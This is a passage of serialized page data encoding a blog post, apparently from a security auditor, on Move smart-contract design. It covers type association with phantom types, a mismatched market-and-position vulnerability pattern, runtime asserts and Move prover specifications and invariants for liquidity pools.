public",{"type":23,"tag":481,"props":4569,"children":4570},{"style":525},[4571],{"type":28,"value":618},{"type":23,"tag":481,"props":4573,"children":4574},{"style":508},[4575],{"type":28,"value":4576},"friend",{"type":23,"tag":481,"props":4578,"children":4579},{"style":525},[4580],{"type":28,"value":598},{"type":23,"tag":481,"props":4582,"children":4583},{"style":508},[4584],{"type":28,"value":4585},"fun",{"type":23,"tag":481,"props":4587,"children":4588},{"style":508},[4589],{"type":28,"value":4590}," create",{"type":23,"tag":481,"props":4592,"children":4593},{"style":525},[4594],{"type":28,"value":3282},{"type":23,"tag":481,"props":4596,"children":4597},{"style":943},[4598],{"type":28,"value":4380},{"type":23,"tag":481,"props":4600,"children":4601},{"style":525},[4602],{"type":28,"value":4066},{"type":23,"tag":481,"props":4604,"children":4605},{"class":483,"line":351},[4606,4611,4615,4620,4625],{"type":23,"tag":481,"props":4607,"children":4608},{"style":508},[4609],{"type":28,"value":4610}," lp_store",{"type":23,"tag":481,"props":4612,"children":4613},{"style":514},[4614],{"type":28,"value":287},{"type":23,"tag":481,"props":4616,"children":4617},{"style":514},[4618],{"type":28,"value":4619}," &",{"type":23,"tag":481,"props":4621,"children":4622},{"style":508},[4623],{"type":28,"value":4624},"signer",{"type":23,"tag":481,"props":4626,"children":4627},{"style":525},[4628],{"type":28,"value":1033},{"type":23,"tag":481,"props":4630,"children":4631},{"class":483,"line":531},[4632],{"type":23,"tag":481,"props":4633,"children":4634},{"style":488},[4635],{"type":28,"value":4074},{"type":23,"tag":481,"props":4637,"children":4638},{"class":483,"line":567},[4639,4644,4648,4653],{"type":23,"tag":481,"props":4640,"children":4641},{"style":525},[4642],{"type":28,"value":4643}," ) ",{"type":23,"tag":481,"props":4645,"children":4646},{"style":508},[4647],{"type":28,"value":3821},{"type":23,"tag":481,"props":4649,"children":4650},{"style":943},[4651],{"type":28,"value":4652}," Reserves",{"type":23,"tag":481,"props":4654,"children":4655},{"style":525},[4656],{"type":28,"value":809},{"type":23,"tag":481,"props":4658,"children":4659},{"class":483,"line":678},[4660,4665,4669,4674,4679,4683,4688,4692,4697],{"type":23,"tag":481,"props":4661,"children":4662},{"style":525},[4663],{"type":28,"value":4664}," lp",{"type":23,"tag":481,"props":4666,"children":4667},{"style":514},[4668],{"type":28,"value":1006},{"type":23,"tag":481,"props":4670,"children":4671},{"style":610},[4672],{"type":28,"value":4673},"assert_is_lp_store",{"type":23,"tag":481,"props":4675,"children":4676},{"style":525},[4677],{"type":28,"value":4678},"(signer",{"type":23,"tag":481,"props":4680,"children":4681},{"style":514},[4682],{"type":28,"value":1006},{"type":23,"tag":481,"props":4684,"children":4685},{"style":610},[4686],{"type":28,"value":4687},"address_of",{"type":23,"tag":481,"props":4689,"children":4690},{"style":525},[4691],{"type":28,"value":618},{"type":23,"tag":481,"props":4693,"children":4694},{"style":508},[4695],{"type":28,"value":4696},"lp_store",{"type":23,"tag":481,"props":4698,"children":4699},{"style":525},[4700],{"type":28,"value":4701},"));\n",{"type":23,"tag":481,"props":4703,"children":4704},{"class":483,"line":784},[4705],{"type":23,"tag":481,"props":4706,"children":4707},{"emptyLinePlaceholder":15},[4708],{"type":28,"value":1210},{"type":23,"tag":481,"props":4710,"children":4711},{"class":483,"line":812},[4712],{"type":23,"tag":481,"props":4713,"children":4714},{"style":488},[4715],{"type":28,"value":4074},{"type":23,"tag":481,"props":4717,"children":4718},{"class":483,"line":825},[4719],{"type":23,"tag":481,"props":4720,"children":4721},{"emptyLinePlaceholder":15},[4722],{"type":28,"value":1210},{"type":23,"tag":481,"props":4724,"children":4725},{"class":483,"line":843},[4726,4731,4735,4739,4743,4747,4751,4755],{"type":23,"tag":481,"props":4727,"children":4728},{"style":610},[4729],{"type":28,"value":4730}," move_to",{"type":23,"tag":481,"props":4732,"children":4733},{"style":525},[4734],{"type":28,"value":618},{"type":23,"tag":481,"props":4736,"children":4737},{"style":508},[4738],{"type":28,"value":4696},{"type":23,"tag":481,"props":4740,"children":4741},{"style":525},[4742],{"type":28,"value":588},{"type":23,"tag":481,"props":4744,"children":4745},{"style":943},[4746],{"type":28,"value":4281},{"type":23,"tag":481,"props":4748,"children":4749},{"style":525},[4750],{"type":28,"value":3282},{"type":23,"tag":481,"props":4752,"children":4753},{"style":943},[4754],{"type":28,"value":4380},{"type":23,"tag":481,"props":4756,"children":4757},{"style":525},[4758],{"type":28,"value":4759},"> {\n",{"type":23,"tag":481,"props":4761,"children":4762},{"class":483,"line":864},[4763],{"type":23,"tag":481,"props":4764,"children":4765},{"style":488},[4766],{"type":28,"value":3652},{"type":23,"tag":481,"props":4768,"children":4769},{"class":483,"line":873},[4770],{"type":23,"tag":481,"props":4771,"children":4772},{"style":525},[4773],{"type":28,"value":4774}," });\n",{"type":23,"tag":24,"props":4776,"children":4777},{},[4778],{"type":28,"value":4779},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":4781,"children":4782},{},[4783,4785,4791,4793,4799,4801,4806],{"type":28,"value":4784},"On the other hand, consider if you have a ",{"type":23,"tag":64,"props":4786,"children":4788},{"className":4787},[],[4789],{"type":28,"value":4790},"Position\u003CT>",{"type":28,"value":4792}," and a ",{"type":23,"tag":64,"props":4794,"children":4796},{"className":4795},[],[4797],{"type":28,"value":4798},"Market\u003CT>",{"type":28,"value":4800}," where ",{"type":23,"tag":64,"props":4802,"children":4804},{"className":4803},[],[4805],{"type":28,"value":3464},{"type":28,"value":4807}," is the coin type.",{"type":23,"tag":435,"props":4809,"children":4811},{"className":475,"code":4810,"language":474,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[4812],{"type":23,"tag":64,"props":4813,"children":4814},{"__ignoreMap":7},[4815,4843,4871,4878,4885,4892,4920,4940,4947],{"type":23,"tag":481,"props":4816,"children":4817},{"class":483,"line":484},[4818,4822,4827,4831,4835,4839],{"type":23,"tag":481,"props":4819,"children":4820},{"style":497},[4821],{"type":28,"value":3529},{"type":23,"tag":481,"props":4823,"children":4824},{"style":943},[4825],{"type":28,"value":4826}," Market",{"type":23,"tag":481,"props":4828,"children":4829},{"style":525},[4830],{"type":28,"value":3282},{"type":23,"tag":481,"props":4832,"children":4833},{"style":508},[4834],{"type":28,"value":3287},{"type":23,"tag":481,"props":4836,"children":4837},{"style":943},[4838],{"type":28,"value":3395},{"type":23,"tag":481,"props":4840,"children":4841},{"style":525},[4842],{"type":28,"value":4759},{"type":23,"tag":481,"props":4844,"children":4845},{"class":483,"line":351},[4846,4851,4855,4859,4863,4867],{"type":23,"tag":481,"props":4847,"children":4848},{"style":508},[4849],{"type":28,"value":4850}," reserves",{"type":23,"tag":481,"props":4852,"children":4853},{"style":514},[4854],{"type":28,"value":287},{"type":23,"tag":481,"props":4856,"children":4857},{"style":943},[4858],{"type":28,"value":3277},{"type":23,"tag":481,"props":4860,"children":4861},{"style":525},[4862],{"type":28,"value":3282},{"type":23,"tag":481,"props":4864,"children":4865},{"style":943},[4866],{"type":28,"value":3464},{"type":23,"tag":481,"props":4868,"children":4869},{"style":525},[4870],{"type":28,"value":3615},{"type":23,"tag":481,"props":4872,"children":4873},{"class":483,"line":531},[4874],{"type":23,"tag":481,"props":4875,"children":4876},{"style":488},[4877],{"type":28,"value":3652},{"type":23,"tag":481,"props":4879,"children":4880},{"class":483,"line":567},[4881],{"type":23,"tag":481,"props":4882,"children":4883},{"style":525},[4884],{"type":28,"value":879},{"type":23,"tag":481,"props":4886,"children":4887},{"class":483,"line":678},[4888],{"type":23,"tag":481,"props":4889,"children":4890},{"emptyLinePlaceholder":15},[4891],{"type":28,"value":1210},{"type":23,"tag":481,"props":4893,"children":4894},{"class":483,"line":784},[4895,4899,4904,4908,4912,4916],{"type":23,"tag":481,"props":4896,"children":4897},{"style":497},[4898],{"type":28,"value":3529},{"type":23,"tag":481,"props":4900,"children":4901},{"style":943},[4902],{"type":28,"value":4903}," Position",{"type":23,"tag":481,"props":4905,"children":4906},{"style":525},[4907],{"type":28,"value":3282},{"type":23,"tag":481,"props":4909,"children":4910},{"style":508},[4911],{"type":28,"value":3287},{"type":23,"tag":481,"props":4913,"children":4914},{"style":943},[4915],{"type":28,"value":3395},{"type":23,"tag":481,"props":4917,"children":4918},{"style":525},[4919],{"type":28,"value":4759},{"type":23,"tag":481,"props":4921,"children":4922},{"class":483,"line":812},[4923,4928,4932,4936],{"type":23,"tag":481,"props":4924,"children":4925},{"style":508},[4926],{"type":28,"value":4927}," amount",{"type":23,"tag":481,"props":4929,"children":4930},{"style":514},[4931],{"type":28,"value":287},{"type":23,"tag":481,"props":4933,"children":4934},{"style":943},[4935],{"type":28,"value":3336},{"type":23,"tag":481,"props":4937,"children":4938},{"style":525},[4939],{"type":28,"value":1033},{"type":23,"tag":481,"props":4941,"children":4942},{"class":483,"line":825},[4943],{"type":23,"tag":481,"props":4944,"children":4945},{"style":488},[4946],{"type":28,"value":3652},{"type":23,"tag":481,"props":4948,"children":4949},{"class":483,"line":843},[4950],{"type":23,"tag":481,"props":4951,"children":4952},{"style":525},[4953],{"type":28,"value":879},{"type":23,"tag":24,"props":4955,"children":4956},{},[4957,4959,4964,4966,4971],{"type":28,"value":4958},"If ",{"type":23,"tag":64,"props":4960,"children":4962},{"className":4961},[],[4963],{"type":28,"value":4798},{"type":28,"value":4965}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":64,"props":4967,"children":4969},{"className":4968},[],[4970],{"type":28,"value":3464},{"type":28,"value":4972}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":4974,"children":4975},{},[4976],{"type":28,"value":4977},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":435,"props":4979,"children":4981},{"className":475,"code":4980,"language":474,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[4982],{"type":23,"tag":64,"props":4983,"children":4984},{"__ignoreMap":7},[4985,4993,5055,5104,5156,5181,5193,5215,5223,5236],{"type":23,"tag":481,"props":4986,"children":4987},{"class":483,"line":484},[4988],{"type":23,"tag":481,"props":4989,"children":4990},{"style":488},[4991],{"type":28,"value":4992}," /// Get the price of the token per lamport.\n",{"type":23,"tag":481,"props":4994,"children":4995},{"class":483,"line":351},[4996,5001,5005,5010,5014,5019,5023,5028,5032,5036,5041,5046,5051],{"type":23,"tag":481,"props":4997,"children":4998},{"style":508},[4999],{"type":28,"value":5000}," public",{"type":23,"tag":481,"props":5002,"children":5003},{"style":508},[5004],{"type":28,"value":3684},{"type":23,"tag":481,"props":5006,"children":5007},{"style":610},[5008],{"type":28,"value":5009}," get_price",{"type":23,"tag":481,"props":5011,"children":5012},{"style":525},[5013],{"type":28,"value":618},{"type":23,"tag":481,"props":5015,"children":5016},{"style":508},[5017],{"type":28,"value":5018},"type_info",{"type":23,"tag":481,"props":5020,"children":5021},{"style":514},[5022],{"type":28,"value":287},{"type":23,"tag":481,"props":5024,"children":5025},{"style":943},[5026],{"type":28,"value":5027}," TypeInfo",{"type":23,"tag":481,"props":5029,"children":5030},{"style":525},[5031],{"type":28,"value":642},{"type":23,"tag":481,"props":5033,"children":5034},{"style":514},[5035],{"type":28,"value":287},{"type":23,"tag":481,"props":5037,"children":5038},{"style":943},[5039],{"type":28,"value":5040}," Decimal",{"type":23,"tag":481,"props":5042,"children":5043},{"style":508},[5044],{"type":28,"value":5045}," acquires",{"type":23,"tag":481,"props":5047,"children":5048},{"style":943},[5049],{"type":28,"value":5050}," Oracle",{"type":23,"tag":481,"props":5052,"children":5053},{"style":525},[5054],{"type":28,"value":809},{"type":23,"tag":481,"props":5056,"children":5057},{"class":483,"line":531},[5058,5062,5067,5071,5076,5080,5085,5090,5095,5100],{"type":23,"tag":481,"props":5059,"children":5060},{"style":497},[5061],{"type":28,"value":573},{"type":23,"tag":481,"props":5063,"children":5064},{"style":508},[5065],{"type":28,"value":5066}," oracle",{"type":23,"tag":481,"props":5068,"children":5069},{"style":514},[5070],{"type":28,"value":517},{"type":23,"tag":481,"props":5072,"children":5073},{"style":508},[5074],{"type":28,"value":5075}," borrow_global_mut",{"type":23,"tag":481,"props":5077,"children":5078},{"style":525},[5079],{"type":28,"value":3282},{"type":23,"tag":481,"props":5081,"children":5082},{"style":943},[5083],{"type":28,"value":5084},"Oracle",{"type":23,"tag":481,"props":5086,"children":5087},{"style":525},[5088],{"type":28,"value":5089},">(",{"type":23,"tag":481,"props":5091,"children":5092},{"style":514},[5093],{"type":28,"value":5094},"@",{"type":23,"tag":481,"props":5096,"children":5097},{"style":508},[5098],{"type":28,"value":5099},"oracle",{"type":23,"tag":481,"props":5101,"children":5102},{"style":525},[5103],{"type":28,"value":1366},{"type":23,"tag":481,"props":5105,"children":5106},{"class":483,"line":567},[5107,5111,5116,5120,5125,5129,5134,5138,5143,5147,5152],{"type":23,"tag":481,"props":5108,"children":5109},{"style":497},[5110],{"type":28,"value":573},{"type":23,"tag":481,"props":5112,"children":5113},{"style":508},[5114],{"type":28,"value":5115}," price",{"type":23,"tag":481,"props":5117,"children":5118},{"style":514},[5119],{"type":28,"value":517},{"type":23,"tag":481,"props":5121,"children":5122},{"style":525},[5123],{"type":28,"value":5124}," table",{"type":23,"tag":481,"props":5126,"children":5127},{"style":514},[5128],{"type":28,"value":1006},{"type":23,"tag":481,"props":5130,"children":5131},{"style":508},[5132],{"type":28,"value":5133},"borrow_mut_with_default",{"type":23,"tag":481,"props":5135,"children":5136},{"style":525},[5137],{"type":28,"value":3282},{"type":23,"tag":481,"props":5139,"children":5140},{"style":943},[5141],{"type":28,"value":5142},"TypeInfo",{"type":23,"tag":481,"props":5144,"children":5145},{"style":525},[5146],{"type":28,"value":588},{"type":23,"tag":481,"props":5148,"children":5149},{"style":943},[5150],{"type":28,"value":5151},"Decimal",{"type":23,"tag":481,"props":5153,"children":5154},{"style":525},[5155],{"type":28,"value":4066},{"type":23,"tag":481,"props":5157,"children":5158},{"class":483,"line":678},[5159,5164,5168,5172,5176],{"type":23,"tag":481,"props":5160,"children":5161},{"style":514},[5162],{"type":28,"value":5163}," &",{"type":23,"tag":481,"props":5165,"children":5166},{"style":497},[5167],{"type":28,"value":1259},{"type":23,"tag":481,"props":5169,"children":5170},{"style":508},[5171],{"type":28,"value":5066},{"type":23,"tag":481,"props":5173,"children":5174},{"style":514},[5175],{"type":28,"value":199},{"type":23,"tag":481,"props":5177,"children":5178},{"style":525},[5179],{"type":28,"value":5180},"prices,\n",{"type":23,"tag":481,"props":5182,"children":5183},{"class":483,"line":784},[5184,5189],{"type":23,"tag":481,"props":5185,"children":5186},{"style":508},[5187],{"type":28,"value":5188}," type_info",{"type":23,"tag":481,"props":5190,"children":5191},{"style":525},[5192],{"type":28,"value":1033},{"type":23,"tag":481,"props":5194,"children":5195},{"class":483,"line":812},[5196,5201,5205,5210],{"type":23,"tag":481,"props":5197,"children":5198},{"style":525},[5199],{"type":28,"value":5200}," decimal",{"type":23,"tag":481,"props":5202,"children":5203},{"style":514},[5204],{"type":28,"value":1006},{"type":23,"tag":481,"props":5206,"children":5207},{"style":610},[5208],{"type":28,"value":5209},"one",{"type":23,"tag":481,"props":5211,"children":5212},{"style":525},[5213],{"type":28,"value":5214},"()\n",{"type":23,"tag":481,"props":5216,"children":5217},{"class":483,"line":825},[5218],{"type":23,"tag":481,"props":5219,"children":5220},{"style":525},[5221],{"type":28,"value":5222}," );\n",{"type":23,"tag":481,"props":5224,"children":5225},{"class":483,"line":843},[5226,5231],{"type":23,"tag":481,"props":5227,"children":5228},{"style":514},[5229],{"type":28,"value":5230}," *",{"type":23,"tag":481,"props":5232,"children":5233},{"style":508},[5234],{"type":28,"value":5235},"price\n",{"type":23,"tag":481,"props":5237,"children":5238},{"class":483,"line":864},[5239],{"type":23,"tag":481,"props":5240,"children":5241},{"style":525},[5242],{"type":28,"value":879},{"type":23,"tag":24,"props":5244,"children":5245},{},[5246,5248,5253],{"type":28,"value":5247},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":127,"props":5249,"children":5250},{},[5251],{"type":28,"value":5252},"instance",{"type":28,"value":5254}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":5256,"children":5257},{},[5258],{"type":28,"value":5259},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":73,"props":5261,"children":5262},{},[5263,5268],{"type":23,"tag":77,"props":5264,"children":5265},{},[5266],{"type":28,"value":5267},"Have unique initializers for your resources",{"type":23,"tag":77,"props":5269,"children":5270},{},[5271],{"type":28,"value":5272},"Associate resources with instances directly",{"type":23,"tag":31,"props":5274,"children":5276},{"id":5275},"formal-verification",[5277],{"type":28,"value":5278},"Formal Verification",{"type":23,"tag":24,"props":5280,"children":5281},{},[5282],{"type":28,"value":5283},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":5285,"children":5286},{},[5287],{"type":28,"value":5288},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":5290,"children":5291},{},[5292,5294,5299],{"type":28,"value":5293},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":127,"props":5295,"children":5296},{},[5297],{"type":28,"value":5298},"what",{"type":28,"value":5300}," to prove.",{"type":23,"tag":24,"props":5302,"children":5303},{},[5304,5306,5313],{"type":28,"value":5305},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":190,"props":5307,"children":5310},{"href":5308,"rel":5309},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[194],[5311],{"type":28,"value":5312},"Solana AMM rounding issue",{"type":28,"value":5314}," we reported.",{"type":23,"tag":24,"props":5316,"children":5317},{},[5318],{"type":28,"value":5319},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":435,"props":5321,"children":5323},{"className":475,"code":5322,"language":474,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[5324],{"type":23,"tag":64,"props":5325,"children":5326},{"__ignoreMap":7},[5327,5388],{"type":23,"tag":481,"props":5328,"children":5329},{"class":483,"line":484},[5330,5335,5340,5344,5349,5353,5358,5362,5366,5371,5375,5379,5384],{"type":23,"tag":481,"props":5331,"children":5332},{"style":497},[5333],{"type":28,"value":5334}," let",{"type":23,"tag":481,"props":5336,"children":5337},{"style":508},[5338],{"type":28,"value":5339}," cmp",{"type":23,"tag":481,"props":5341,"children":5342},{"style":514},[5343],{"type":28,"value":517},{"type":23,"tag":481,"props":5345,"children":5346},{"style":525},[5347],{"type":28,"value":5348}," u256",{"type":23,"tag":481,"props":5350,"children":5351},{"style":514},[5352],{"type":28,"value":1006},{"type":23,"tag":481,"props":5354,"children":5355},{"style":610},[5356],{"type":28,"value":5357},"compare",{"type":23,"tag":481,"props":5359,"children":5360},{"style":525},[5361],{"type":28,"value":618},{"type":23,"tag":481,"props":5363,"children":5364},{"style":514},[5365],{"type":28,"value":623},{"type":23,"tag":481,"props":5367,"children":5368},{"style":508},[5369],{"type":28,"value":5370},"lp_value_after_swap_and_fee",{"type":23,"tag":481,"props":5372,"children":5373},{"style":525},[5374],{"type":28,"value":588},{"type":23,"tag":481,"props":5376,"children":5377},{"style":514},[5378],{"type":28,"value":623},{"type":23,"tag":481,"props":5380,"children":5381},{"style":508},[5382],{"type":28,"value":5383},"lp_value_before_swap_u256",{"type":23,"tag":481,"props":5385,"children":5386},{"style":525},[5387],{"type":28,"value":1366},{"type":23,"tag":481,"props":5389,"children":5390},{"class":483,"line":351},[5391,5396,5400,5405,5409,5414],{"type":23,"tag":481,"props":5392,"children":5393},{"style":610},[5394],{"type":28,"value":5395}," assert!",{"type":23,"tag":481,"props":5397,"children":5398},{"style":525},[5399],{"type":28,"value":618},{"type":23,"tag":481,"props":5401,"children":5402},{"style":508},[5403],{"type":28,"value":5404},"cmp",{"type":23,"tag":481,"props":5406,"children":5407},{"style":514},[5408],{"type":28,"value":800},{"type":23,"tag":481,"props":5410,"children":5411},{"style":551},[5412],{"type":28,"value":5413}," 2",{"type":23,"tag":481,"props":5415,"children":5416},{"style":525},[5417],{"type":28,"value":5418},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":5420,"children":5421},{},[5422,5424,5429],{"type":28,"value":5423},"The move prover really shines when we're proving relationships ",{"type":23,"tag":127,"props":5425,"children":5426},{},[5427],{"type":28,"value":5428},"between",{"type":28,"value":5430}," functions.",{"type":23,"tag":24,"props":5432,"children":5433},{},[5434,5436,5442],{"type":28,"value":5435},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":64,"props":5437,"children":5439},{"className":5438},[],[5440],{"type":28,"value":5441},"no_free_money_theorem",{"type":28,"value":5443}," in the move repository.",{"type":23,"tag":435,"props":5445,"children":5447},{"className":475,"code":5446,"language":474,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[5448],{"type":23,"tag":64,"props":5449,"children":5450},{"__ignoreMap":7},[5451,5459,5547,5589,5610,5617,5633,5659,5686,5711],{"type":23,"tag":481,"props":5452,"children":5453},{"class":483,"line":484},[5454],{"type":23,"tag":481,"props":5455,"children":5456},{"style":488},[5457],{"type":28,"value":5458}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":481,"props":5460,"children":5461},{"class":483,"line":351},[5462,5466,5471,5475,5480,5484,5488,5492,5497,5501,5505,5509,5513,5517,5522,5526,5530,5534,5538,5543],{"type":23,"tag":481,"props":5463,"children":5464},{"style":508},[5465],{"type":28,"value":4047},{"type":23,"tag":481,"props":5467,"children":5468},{"style":610},[5469],{"type":28,"value":5470}," no_free_money_theorem",{"type":23,"tag":481,"props":5472,"children":5473},{"style":525},[5474],{"type":28,"value":618},{"type":23,"tag":481,"props":5476,"children":5477},{"style":508},[5478],{"type":28,"value":5479},"coin1_in",{"type":23,"tag":481,"props":5481,"children":5482},{"style":514},[5483],{"type":28,"value":287},{"type":23,"tag":481,"props":5485,"children":5486},{"style":943},[5487],{"type":28,"value":3336},{"type":23,"tag":481,"props":5489,"children":5490},{"style":525},[5491],{"type":28,"value":588},{"type":23,"tag":481,"props":5493,"children":5494},{"style":508},[5495],{"type":28,"value":5496},"coin2_in",{"type":23,"tag":481,"props":5498,"children":5499},{"style":514},[5500],{"type":28,"value":287},{"type":23,"tag":481,"props":5502,"children":5503},{"style":943},[5504],{"type":28,"value":3336},{"type":23,"tag":481,"props":5506,"children":5507},{"style":525},[5508],{"type":28,"value":642},{"type":23,"tag":481,"props":5510,"children":5511},{"style":514},[5512],{"type":28,"value":287},{"type":23,"tag":481,"props":5514,"children":5515},{"style":525},[5516],{"type":28,"value":578},{"type":23,"tag":481,"props":5518,"children":5519},{"style":943},[5520],{"type":28,"value":5521},"u64",{"type":23,"tag":481,"props":5523,"children":5524},{"style":525},[5525],{"type":28,"value":588},{"type":23,"tag":481,"props":5527,"children":5528},{"style":943},[5529],{"type":28,"value":5521},{"type":23,"tag":481,"props":5531,"children":5532},{"style":525},[5533],{"type":28,"value":598},{"type":23,"tag":481,"props":5535,"children":5536},{"style":508},[5537],{"type":28,"value":3821},{"type":23,"tag":481,"props":5539,"children":5540},{"style":943},[5541],{"type":28,"value":5542}," Pool",{"type":23,"tag":481,"props":5544,"children":5545},{"style":525},[5546],{"type":28,"value":809},{"type":23,"tag":481,"props":5548,"children":5549},{"class":483,"line":531},[5550,5555,5560,5564,5569,5573,5577,5581,5585],{"type":23,"tag":481,"props":5551,"children":5552},{"style":497},[5553],{"type":28,"value":5554}," let",{"type":23,"tag":481,"props":5556,"children":5557},{"style":508},[5558],{"type":28,"value":5559}," share",{"type":23,"tag":481,"props":5561,"children":5562},{"style":514},[5563],{"type":28,"value":517},{"type":23,"tag":481,"props":5565,"children":5566},{"style":610},[5567],{"type":28,"value":5568}," add_liquidity",{"type":23,"tag":481,"props":5570,"children":5571},{"style":525},[5572],{"type":28,"value":618},{"type":23,"tag":481,"props":5574,"children":5575},{"style":508},[5576],{"type":28,"value":5479},{"type":23,"tag":481,"props":5578,"children":5579},{"style":525},[5580],{"type":28,"value":588},{"type":23,"tag":481,"props":5582,"children":5583},{"style":508},[5584],{"type":28,"value":5496},{"type":23,"tag":481,"props":5586,"children":5587},{"style":525},[5588],{"type":28,"value":1366},{"type":23,"tag":481,"props":5590,"children":5591},{"class":483,"line":567},[5592,5597,5601,5606],{"type":23,"tag":481,"props":5593,"children":5594},{"style":610},[5595],{"type":28,"value":5596}," remove_liquidity",{"type":23,"tag":481,"props":5598,"children":5599},{"style":525},[5600],{"type":28,"value":618},{"type":23,"tag":481,"props":5602,"children":5603},{"style":508},[5604],{"type":28,"value":5605},"share",{"type":23,"tag":481,"props":5607,"children":5608},{"style":525},[5609],{"type":28,"value":675},{"type":23,"tag":481,"props":5611,"children":5612},{"class":483,"line":678},[5613],{"type":23,"tag":481,"props":5614,"children":5615},{"style":525},[5616],{"type":28,"value":3348},{"type":23,"tag":481,"props":5618,"children":5619},{"class":483,"line":784},[5620,5625,5629],{"type":23,"tag":481,"props":5621,"children":5622},{"style":508},[5623],{"type":28,"value":5624}," spec",{"type":23,"tag":481,"props":5626,"children":5627},{"style":508},[5628],{"type":28,"value":5470},{"type":23,"tag":481,"props":5630,"children":5631},{"style":525},[5632],{"type":28,"value":809},{"type":23,"tag":481,"props":5634,"children":5635},{"class":483,"line":812},[5636,5641,5646,5650,5655],{"type":23,"tag":481,"props":5637,"children":5638},{"style":508},[5639],{"type":28,"value":5640}," pragma",{"type":23,"tag":481,"props":5642,"children":5643},{"style":508},[5644],{"type":28,"value":5645}," verify",{"type":23,"tag":481,"props":5647,"children":5648},{"style":514},[5649],{"type":28,"value":603},{"type":23,"tag":481,"props":5651,"children":5652},{"style":497},[5653],{"type":28,"value":5654},"false",{"type":23,"tag":481,"props":5656,"children":5657},{"style":525},[5658],{"type":28,"value":528},{"type":23,"tag":481,"props":5660,"children":5661},{"class":483,"line":825},[5662,5667,5672,5677,5682],{"type":23,"tag":481,"props":5663,"children":5664},{"style":508},[5665],{"type":28,"value":5666}," ensures",{"type":23,"tag":481,"props":5668,"children":5669},{"style":508},[5670],{"type":28,"value":5671}," result_1",{"type":23,"tag":481,"props":5673,"children":5674},{"style":514},[5675],{"type":28,"value":5676}," \u003C=",{"type":23,"tag":481,"props":5678,"children":5679},{"style":508},[5680],{"type":28,"value":5681}," coin1_in",{"type":23,"tag":481,"props":5683,"children":5684},{"style":525},[5685],{"type":28,"value":528},{"type":23,"tag":481,"props":5687,"children":5688},{"class":483,"line":843},[5689,5693,5698,5702,5707],{"type":23,"tag":481,"props":5690,"children":5691},{"style":508},[5692],{"type":28,"value":5666},{"type":23,"tag":481,"props":5694,"children":5695},{"style":508},[5696],{"type":28,"value":5697}," result_2",{"type":23,"tag":481,"props":5699,"children":5700},{"style":514},[5701],{"type":28,"value":5676},{"type":23,"tag":481,"props":5703,"children":5704},{"style":508},[5705],{"type":28,"value":5706}," coin2_in",{"type":23,"tag":481,"props":5708,"children":5709},{"style":525},[5710],{"type":28,"value":528},{"type":23,"tag":481,"props":5712,"children":5713},{"class":483,"line":864},[5714],{"type":23,"tag":481,"props":5715,"children":5716},{"style":525},[5717],{"type":28,"value":3348},{"type":23,"tag":24,"props":5719,"children":5720},{},[5721],{"type":28,"value":5722},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":5724,"children":5725},{},[5726,5728,5733],{"type":28,"value":5727},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":127,"props":5729,"children":5730},{},[5731],{"type":28,"value":5732},"lot",{"type":28,"value":5734}," easier to reason about the protocol.",{"type":23,"tag":24,"props":5736,"children":5737},{},[5738],{"type":28,"value":5739},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":435,"props":5741,"children":5743},{"className":475,"code":5742,"language":474,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[5744],{"type":23,"tag":64,"props":5745,"children":5746},{"__ignoreMap":7},[5747,5764,5787],{"type":23,"tag":481,"props":5748,"children":5749},{"class":483,"line":484},[5750,5755,5760],{"type":23,"tag":481,"props":5751,"children":5752},{"style":508},[5753],{"type":28,"value":5754},"spec",{"type":23,"tag":481,"props":5756,"children":5757},{"style":943},[5758],{"type":28,"value":5759}," PoolState",{"type":23,"tag":481,"props":5761,"children":5762},{"style":525},[5763],{"type":28,"value":809},{"type":23,"tag":481,"props":5765,"children":5766},{"class":483,"line":351},[5767,5772,5777,5782],{"type":23,"tag":481,"props":5768,"children":5769},{"style":508},[5770],{"type":28,"value":5771}," 